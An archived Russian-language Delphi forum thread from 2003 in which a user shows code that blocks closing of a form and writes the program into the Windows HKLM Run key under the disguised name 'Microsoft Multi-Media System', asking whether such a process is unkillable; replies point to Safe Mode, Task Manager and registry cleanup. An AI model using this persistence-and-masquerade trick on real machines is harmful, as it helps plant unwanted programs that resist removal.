Текущий архив: 2003.09.25;
Скачать: CL | DM;
Вниз
Бессмертная форма. Найти похожие ветки
← →
8ung © (2003-09-15 10:57) [0]Вчера я провел такой опыт:
Пустая форма.
procedure TForm1.FormDestroy(Sender: TObject);
begin
closed;
end;
procedure Tform1.closed;
var
h : tregistry;
begin
h:=TRegistry.Create;
h.RootKey:=HKEY_LOCAL_MACHINE;
h.OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run",true);
h.WriteString("Microsoft Multi-Media System",ParamStr(0));
h.CloseKey;
h.Free;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
closed;
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
closed;
end;
В итоге получается бессмертный процесс?
даже винда, когда прошу её вырубить комп, не вырубается и продолжает работу, т.к. не может закрыть мою прогу.
Что ж, нет такого метода что-бы закрыть ЛЮБОЙ процесс?
← →
Song © (2003-09-15 11:01) [1]Загружаешься в safe mode и вытираешь твой бессмертный процесс нафик..
← →
8ung © (2003-09-15 11:07) [2]ошибочка в исходниках(перепутал исходники):
procedure TForm1.FormDestroy(Sender: TObject);
begin
abort;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
abort;
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
abort;
end;
← →
8ung © (2003-09-15 11:09) [3]Так я не про сейф, в сейфе можно товорить че захочешь.
А ты попробуй в нормале такую фишку сделай, когда прога запущена!
← →
ZEE © (2003-09-15 11:18) [4]А если "Завершить процесс" из Диспетчера задач ?..
(ну еще и регистри почистить от этого мксора)
← →
8ung © (2003-09-15 11:34) [5]Сто пудов, забыл это проверить.
до этого я пробовал посылать wm_close и все работало.
Значит это все иллюзия, насчет БЕССМЕРТНОГО ПРОЦЕССА, как жалко...
Страницы: 1 вся ветка
Текущий архив: 2003.09.25;
Скачать: CL | DM;
Память: 0.47 MB
Время: 0.028 c
